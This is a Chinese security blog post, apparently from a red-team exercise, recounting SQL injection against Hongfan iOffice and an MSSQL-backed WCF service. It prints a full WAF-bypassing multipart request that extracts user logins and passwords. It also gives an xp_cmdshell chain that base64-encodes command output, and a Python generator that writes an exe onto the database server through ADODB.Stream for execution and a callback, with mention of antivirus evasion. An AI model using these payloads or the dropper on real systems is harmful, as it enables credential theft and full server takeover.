文章总结: 本文介绍了两次SQL注入攻防演练案例。第一次尝试通过文件上传绕过WAF获取数据,但因操作过激导致失败。第二次成功利用MSSQL注入点,通过创建临时表存储命令结果并转换为base64编码解决回显问题,进而将exe文件写入服务器执行建立隧道。文章展示了面对WAF防护时的多种绕过技巧和持久化控制方法,强调了渗透测试中谨慎操作的重要性。
综合评分: 75
文章分类: 渗透测试,漏洞分析,WEB安全,红队,内网渗透
攻防演练之SQL注入
原创
小白安全
小白安全
2025年11月19日 20:20
湖北
一次失败的注入
发现某单位使用了红帆 IOffice,通过测试发现存在历史注入漏洞
在读数据时发现被 WAF 拦截了,基本任何查询都执行不了,开始想着使用脏数据,字符替换,注释符,各种方式都尝试了,能执行的有限,一查询数据还是 reset,最后想着以前看过一个.NET 文件上传绕 WAF 的文章,想着看是不是能够用上,尝试了一下就绕过了,能够查询数据了
请求如下:
POST /xxxxxxxxxx HTTP/1.1
Host: xxxxxxxx
Content-Length: 1487737
Cache-Control: no-cache
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36
X-MicrosoftAjax: Delta=true
Content-Type: multipart/form-data;,boundary= "----WebKitFormBoundarywmP85oUpHhu34tiE";
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
------WebKitFormBoundarywmP85oUpHhu34tiE
Content-Disposition: form-data; name="test"
脏数据(对这个waf没啥用)
Content-Disposition: form-data; name="ioScriptManager1$ScriptManager1"
updatePanel1|btVerify
------WebKitFormBoundarywmP85oUpHhu34tiE
Content-Disposition: form-data; name="__EVENTTARGET"
------WebKitFormBoundarywmP85oUpHhu34tiE
Content-Disposition: form-data; name="__EVENTARGUMENT"
------WebKitFormBoundarywmP85oUpHhu34tiE
Content-Disposition: form-data; name="__VIEWSTATE"
/wEPDwULLTEyMTUyMDIxNTRkZIA9D4lzN+RdQHvgkPcWSFLoWiXB
------WebKitFormBoundarywmP85oUpHhu34tiE
Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"
65AD83CA
------WebKitFormBoundarywmP85oUpHhu34tiE
Content-Disposition : form-data; name="lblSerialNum";
------WebKitFormBoundarywmP85oUpHhu34tiE
Content-Disposition: form-data; name="lblSerialNum";
1'/**/AnD/**/1=CONVERT(INT,/**/(SELECT/**/CONVERT(VARCHAR, (SELECT TOP 1 LoginID + ',' + name/**/+ ',' +/**/Pwd/**/FROM mrbaseinf ORDER BY EmpID)))+'a')--
------WebKitFormBoundarywmP85oUpHhu34tiE
Content-Disposition: form-data; name="__ASYNCPOST"
true
------WebKitFormBoundarywmP85oUpHhu34tiE
Content-Disposition: form-data; name="btVerify"
------WebKitFormBoundarywmP85oUpHhu34tiE--
红帆 IOffice 后台能够上传文件,最开始想着注入出账号密码,登录到后台上传,注入出账号密码后发现无法登录,因为默认的登录页面被改动了,想着应该是用了别的库或数据进行登录;于是想直接–os-shell
后续因为回显太慢了,想着直接 powershell,结果应该是把设备给打敏感了,然后就 G 了,还是应该慢慢来,血的教训;等以后再遇到的时候,再想办法处理
一次成功的注入
有限的命令执行?
首先发现一个 MSSQL 的注入,可以执行命令,同时也有回显,但是好像只能执行 whoami,执行 ipconfig 就会被 reset
尝试各种命令执行看会不会拦截,在通过 dnslog 来判断出网时,发现在执行 ping xxx.dnslog.xxx 的时候,平台有响应,但是还是 Connection reset,这个时候想到可能只是回显被 ban 了,命令还是成功执行了,最终通过以下方法来解决命令执行无回显的问题
POST /xxxxxx HTTP/1.1
Host: xxxxxx
SOAPAction: "http://tempuri.org/xxxxxx/xxxxxx"
Content-Length: 700
Content-Type: text/xml; charset=utf-8
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Body><ExecuteScalar xmlns="http://tempuri.org/"><xxxxxx><![CDATA[
CREATE DATABASE test;
USE test; CREATE TABLE CmdOutput (id INT IDENTITY(1,1) PRIMARY KEY, output NVARCHAR(MAX));
USE test; TRUNCATE TABLE CmdOutput; INSERT INTO CmdOutput (output) EXEC xp_cmdshell 'C:\Windows\System32\cmd.exe /c ipconfig'; DECLARE @fileContent NVARCHAR(MAX)=''; SELECT @fileContent=@fileContent+ISNULL(output,'')+CHAR(13)+CHAR(10) FROM CmdOutput ORDER BY id; DECLARE @bin VARBINARY(MAX)=CAST(@fileContent AS VARBINARY(MAX)); DECLARE @base64 NVARCHAR(MAX)=CAST('' AS XML).value('xs:base64Binary(sql:variable("@bin"))','VARCHAR(MAX)'); SELECT (SELECT @base64 AS [text()] FOR XML PATH('')) AS FileBase64HtmlEncoded;]]></xxxxxx></ExecuteScalar></s:Body></s:Envelope>
如何建立稳定隧道
因为该服务是 WCF 服务,无法通过写入 webshell(不出网的情况下,有高端一点的方式,很复杂,例如:动态路由注册或 HOOK),没有比较好的隧道代理的方式;我们在执行命令的时候,发现可以出网,于是想着上线(因为有火绒和 Defender,做了个免杀(白加黑),不然就直接 PowerShell 了)
找 AI 写了一个脚本,大意是以 byte 的形式读取本地的 exe 文件,以 16 进制的方式用 sql 写到服务器中,脚本如下
#!/usr/bin/env python3# -*- coding: utf-8 -*-"""file_to_mssql_bytes_sql_fixed.py将本地文件以 bytes 读取并生成 MSSQL 十六进制写文件的 SQL 文本(全部路径/参数写死在代码中)。注意:脚本仅生成 SQL 文本,不会连接或执行数据库。"""
from pathlib import Pathimport sys
# ========== 请在这里修改(写死的设置) ==========LOCAL_FILE = "CjCmdRun.exe" # 本地要读取的文件(示例:big.txt)TARGET_PATH = r"C:\Users\Public\test.exe" # 数据库服务器上的目标路径(SQL 字面量形式)OUT_SQL = "out_sql.txt" # 生成的 SQL 保存路径(设为 None 则输出到 stdout)CHUNK_BYTES = 8192 # 每次读取的字节数(默认 8192,适合 ~7MB 文件)# ================================================
# 可疑/危险扩展(默认拒绝)DANGEROUS_EXTS = {'.js'}
def sql_escape_single_quote(s: str) -> str: return s.replace("'", "''")
def generate_sql_stream(src_path: Path, target_path_sql_literal: str, bytes_per_chunk: int): """ 以流方式读取 src_path,每次读取 bytes_per_chunk 字节,转换为 hex, 生成 SQL 字符串迭代器(每次 yield 一段 SQL 文本)。 target_path_sql_literal: 用于 SaveToFile 的目标路径(已被 SQL 单引号转义) """ yield "-- 自动生成:把 VARBINARY 写到文件(仅供合法/受控环境测试)\n" yield "-- 注意:请审查并在有权限的受控环境执行。脚本不会连接或执行数据库。\n\n" yield "DECLARE @bin VARBINARY(MAX);\n\n"
first_chunk = True total_bytes = 0 with src_path.open("rb") as fh: while True: data = fh.read(bytes_per_chunk) if not data: break total_bytes += len(data) hexstr = data.hex() # 小写 hex if first_chunk: yield f"SET @bin = 0x{hexstr};\n" first_chunk = False else: yield f"SET @bin = @bin + 0x{hexstr};\n"
yield "\n-- 使用 ADODB.Stream 将二进制写入磁盘(演示)\n" yield "DECLARE @ole INT;\n" yield "DECLARE @hr INT;\n" yield "EXEC @hr = sp_OACreate 'ADODB.Stream', @ole OUT;\n" yield "IF @hr <> 0 BEGIN RAISERROR('sp_OACreate failed: %d', 16, 1, @hr); RETURN; END\n" yield "EXEC sp_OASetProperty @ole, 'Type', 1; -- adTypeBinary\n" yield "EXEC sp_OAMethod @ole, 'Open';\n" yield "EXEC sp_OAMethod @ole, 'Write', NULL, @bin;\n" yield f"EXEC sp_OAMethod @ole, 'SaveToFile', NULL, '{target_path_sql_literal}', 2; -- adSaveCreateOverWrite\n" yield "EXEC sp_OAMethod @ole, 'Close';\n" yield "EXEC sp_OADestroy @ole;\n" yield f"\n-- 完成(原始字节总计: {total_bytes} bytes)\n"
def main(): src = Path(LOCAL_FILE) if not src.exists() or not src.is_file(): print(f"错误:找不到本地文件 '{LOCAL_FILE}' 或不是文件。", file=sys.stderr) sys.exit(2)
if src.suffix.lower() in DANGEROUS_EXTS: print(f"出于安全考虑,拒绝对扩展名 '{src.suffix}' 的文件生成 SQL。如确有必要请手动确认后修改脚本。", file=sys.stderr) sys.exit(3)
if CHUNK_BYTES <= 0: print("CHUNK_BYTES 必须为正整数。", file=sys.stderr) sys.exit(4)
target_escaped = sql_escape_single_quote(TARGET_PATH)
# 输出到文件或 stdout if OUT_SQL: outfh = open(OUT_SQL, "w", encoding="utf-8") else: outfh = sys.stdout
try: for part in generate_sql_stream(src, target_escaped, CHUNK_BYTES): outfh.write(part) finally: if OUT_SQL: outfh.close()
if OUT_SQL: print(f"已生成 SQL 文件:{OUT_SQL}", file=sys.stderr) else: print("\n-- SQL 已输出至 stdout(结束)", file=sys.stderr)
if __name__ == "__main__": main()
然后你就会得到这样的输出
直接放 burp 进行写入
执行,上线
参考文章
.NET绕WAF1.pdf
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:小白安全 小白安全《攻防演练之SQL注入》